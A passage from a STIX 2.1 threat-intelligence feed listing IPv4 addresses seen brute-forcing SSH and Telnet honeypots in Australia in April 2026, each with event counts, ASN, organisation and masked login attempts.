      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T21:15:03.000Z",
      "valid_until": "2026-05-24T21:15:01.000Z"
    },
    {
      "created": "2026-04-22T22:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 39. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17622. Organisation(s): China Unicom Guangzhou network. Usernames observed (masked): r**t, a***n. Passwords observed (masked): a***n, r**t, v***v, x****1.",
      "id": "indicator--65ab9313-e172-4353-b932-90927a848c50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '120.85.119.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T22:15:15.000Z",
      "valid_until": "2026-05-24T22:15:08.000Z"
    },
    {
      "created": "2026-04-22T22:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 202412. Organisation(s): Omegatech LTD.",
      "id": "indicator--a30ce149-bad2-42cc-b0dd-fd85355c8888",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '158.94.209.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T22:15:15.000Z",
      "valid_until": "2026-05-24T22:15:08.000Z"
    },
    {
      "created": "2026-04-22T22:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--bd0158e2-b33f-4dd8-afa6-42b1095a591a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '31.57.61.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T22:15:15.000Z",
      "valid_until": "2026-05-24T22:15:08.000Z"
    },
    {
      "created": "2026-04-22T22:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--8da7fd86-050a-4f10-bc01-f4c5b4f47086",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '92.118.39.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T22:15:15.000Z",
      "valid_until": "2026-05-24T22:15:08.000Z"
    },
    {
      "created": "2026-04-22T23:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): u***1. Passwords observed (masked): q****y.",
      "id": "indicator--62aa7907-0690-40f6-962f-58aeda9bee7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.189.235.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T23:15:03.000Z",
      "valid_until": "2026-05-24T23:15:01.000Z"
    },
    {
      "created": "2026-04-22T23:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): u****u. Passwords observed (masked): U*******!.",
      "id": "indicator--11084ebc-5ed4-4a93-9c17-7a4848bd9e5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.26.36.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T23:15:03.000Z",
      "valid_until": "2026-05-24T23:15:01.000Z"
    },
    {
      "created": "2026-04-22T23:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--82b54734-6dc1-495c-ae3a-aad9f2807817",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.237.138.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T23:15:03.000Z",
      "valid_until": "2026-05-24T23:15:01.000Z"
    },
    {
      "created": "2026-04-22T23:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--77d0cf38-52d3-46a6-bb09-28cc3758c805",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T23:15:03.000Z",
      "valid_until": "2026-05-24T23:15:01.000Z"
    },
    {
      "created": "2026-04-23T00:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 214172. Organisation(s): DePowered Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--b75311e5-b93a-465b-b426-109810bbc1ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '23.189.104.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T00:15:03.000Z",
      "valid_until": "2026-05-25T00:15:01.000Z"
    },
    {
      "created": "2026-04-23T00:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 8434. Organisation(s): Telenor Sverige AB. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--c404c57d-5fcf-4ca1-9649-827a4e8f8931",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '92.33.220.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T00:15:03.000Z",
      "valid_until": "2026-05-25T00:15:01.000Z"
    },
    {
      "created": "2026-04-23T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 60. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t, o****e, s***y, s******t, t******r. Passwords observed (masked): A*******************A, P******d, R***********$, S*****@, b********3.",
      "id": "indicator--4ad27782-b350-4414-ae29-fb10f5a6979f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.190.159.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T01:15:03.000Z",
      "valid_until": "2026-05-25T01:15:01.000Z"
    },
    {
      "created": "2026-04-23T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 191. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 264393. Organisation(s): NetBrasil Telecom LTDA. Usernames observed (masked): r**t, t******r, 3**********4, a*******4, f*****r. Passwords observed (masked): !******2, 1********0, ***, 1**********, 1****7.",
      "id": "indicator--6e49da55-7996-4a03-be2b-16c3a7a9f944",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '131.161.219.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T01:15:03.000Z",
      "valid_until": "2026-05-25T01:15:01.000Z"
    },
    {
      "created": "2026-04-23T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): a****s. Passwords observed (masked): a*******3.",
      "id": "indicator--828e2443-a0cc-43d3-9c63-312d639abf19",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.103.86.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T01:15:03.000Z",
      "valid_until": "2026-05-25T01:15:01.000Z"
    },
    {
      "created": "2026-04-23T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--413d37b3-0e42-4e83-8984-0a357293bad2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '18.204.231.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T01:15:03.000Z",
      "valid_until": "2026-05-25T01:15:01.000Z"
    },
    {
      "created": "2026-04-23T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CL. ASN(s): 14117. Organisation(s): Telefonica del Sur S.A.. Usernames observed (masked): r**t, 3**********4, a*******4, c****s, f*****r. Passwords observed (masked): 0****0, 0****2, 1****6, 3***********4, 3**********4.",
      "id": "indicator--264e480a-9933-49b1-806f-15a8c0dffd66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '201.186.40.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T01:15:03.000Z",
      "valid_until": "2026-05-25T01:15:01.000Z"
    },
    {
      "created": "2026-04-23T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d33ccd05-f172-4c58-af07-020c472dbaf2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.29.116.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T01:15:03.000Z",
      "valid_until": "2026-05-25T01:15:01.000Z"
    },
    {
      "created": "2026-04-23T01:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 141995. Organisation(s): Contabo Asia Private Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--f0592888-e2eb-4685-a593-2741665e53ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.250.226.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T01:15:03.000Z",
      "valid_until": "2026-05-25T01:15:01.000Z"
    },
    {
      "created": "2026-04-23T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--87dff3d9-9f7c-4b85-a033-33b7f1d0a1f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '92.118.39.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T01:15:03.000Z",
      "valid_until": "2026-05-25T01:15:01.000Z"
    },
    {
      "created": "2026-04-23T02:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--446dec01-9dee-4151-b9ca-0bd1cb49ad1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T02:15:07.000Z",
      "valid_until": "2026-05-25T02:15:02.000Z"
    },
    {
      "created": "2026-04-23T02:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A. Usernames observed (masked): t***0. Passwords observed (masked): 1****6.",
      "id": "indicator--a18aee32-4b30-4b57-860e-103d2112ea81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.254.161.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T02:15:07.000Z",
      "valid_until": "2026-05-25T02:15:02.000Z"
    },
    {
      "created": "2026-04-23T02:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--15cba6a2-d65e-4666-8ac7-c63308f2bf72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.118.240.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T02:15:07.000Z",
      "valid_until": "2026-05-25T02:15:02.000Z"
    },
    {
      "created": "2026-04-23T02:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--e6dd7f39-70f6-48d6-944b-55fe527d1da0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.227.59.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T02:15:07.000Z",
      "valid_until": "2026-05-25T02:15:02.000Z"
    },
    {
      "created": "2026-04-23T03:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 139549. Organisation(s): Crisp Enterprises.",
      "id": "indicator--3a9d1f82-af47-4dfd-a82a-351e4acdf2b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.146.110.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T03:15:04.000Z",
      "valid_until": "2026-05-25T03:15:02.000Z"
    },
    {
      "created": "2026-04-23T03:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): **. Passwords observed (masked): r*******y, r**********************1.",
      "id": "indicator--c66694d1-0cc3-44ba-bcf8-4449a9a3a720",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.105.173.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T03:15:04.000Z",
      "valid_until": "2026-05-25T03:15:02.000Z"
    },
    {
      "created": "2026-04-23T03:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 35100. Organisation(s): Patrik Lagerman. Usernames observed (masked): w*****r, 3**********4, f******r, o****e, r**t. Passwords observed (masked): 3***********4, 3**********4, A********#, O*******#, f******r.",
      "id": "indicator--fb6f5eae-892e-4ed2-9e11-bcc2bcbb46f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.25.158.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T03:15:04.000Z",
      "valid_until": "2026-05-25T03:15:02.000Z"
    },
    {
      "created": "2026-04-23T03:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 126. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 47759. Organisation(s): POIG Ltd.. Usernames observed (masked): r**t, a***n, g***t, s********r, 6****6. Passwords observed (masked): 1**4, 1***5, a***n, p******d, .",
      "id": "indicator--8056eedd-0189-4d6a-9585-b18c5ead40a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '178.173.39.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T03:15:04.000Z",
      "valid_until": "2026-05-25T03:15:02.000Z"
    },
    {
      "created": "2026-04-23T03:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 215439. Organisation(s): Play2go International Limited. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--a04edd92-9930-4055-a2c9-c91dd6cc4745",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.26.0.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T03:15:04.000Z",
      "valid_until": "2026-05-25T03:15:02.000Z"
    },
    {
      "created": "2026-04-23T03:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--a163f738-83c8-415c-9e40-dd9a3a221eff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.76.49.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T03:15:04.000Z",
      "valid_until": "2026-05-25T03:15:02.000Z"
    },
    {
      "created": "2026-04-23T03:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U******************************************************************************************0. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--e080192e-88f7-4026-b7b2-dde901307c67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T03:15:04.000Z",
      "valid_until": "2026-05-25T03:15:02.000Z"
    },
    {
      "created": "2026-04-23T04:15:47.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 22. Source country: ID. ASN(s): 4787. Organisation(s): PT Cyberindo Aditama. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--35d546b4-a2d2-43b9-815f-8c6f66c77a14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T04:15:47.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.113.134.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T04:15:47.000Z",
      "valid_until": "2026-05-25T04:15:02.000Z"
    },
    {
      "created": "2026-04-23T04:15:47.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--15c31eaa-688e-4115-a8cc-d517157825c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T04:15:47.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T04:15:47.000Z",
      "valid_until": "2026-05-25T04:15:02.000Z"
    },
    {
      "created": "2026-04-23T04:15:47.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CH. ASN(s): 402253. Organisation(s): SKN Subnet & Telecom Ltd.",
      "id": "indicator--34c84b27-94f6-43d5-ac02-8adec35dfc6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T04:15:47.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.99.184.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T04:15:47.000Z",
      "valid_until": "2026-05-25T04:15:02.000Z"
    },
    {
      "created": "2026-04-23T04:15:47.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 402253. Organisation(s): SKN Subnet & Telecom Ltd.",
      "id": "indicator--8945d59e-b1ba-401a-8a46-931b8b44fded",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T04:15:47.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.99.190.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T04:15:47.000Z",
      "valid_until": "2026-05-25T04:15:02.000Z"
    },
    {
      "created": "2026-04-23T04:15:47.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 140527. Organisation(s): China Telecom.",
      "id": "indicator--e3e2fbfb-9bdc-465a-a09f-543a2c098b6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T04:15:47.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.247.153.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T04:15:47.000Z",
      "valid_until": "2026-05-25T04:15:02.000Z"
    },
    {
      "created": "2026-04-23T05:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd..",
      "id": "indicator--2a8991d5-2423-47e8-81c0-9dfeed1d3ba4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.96.201.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
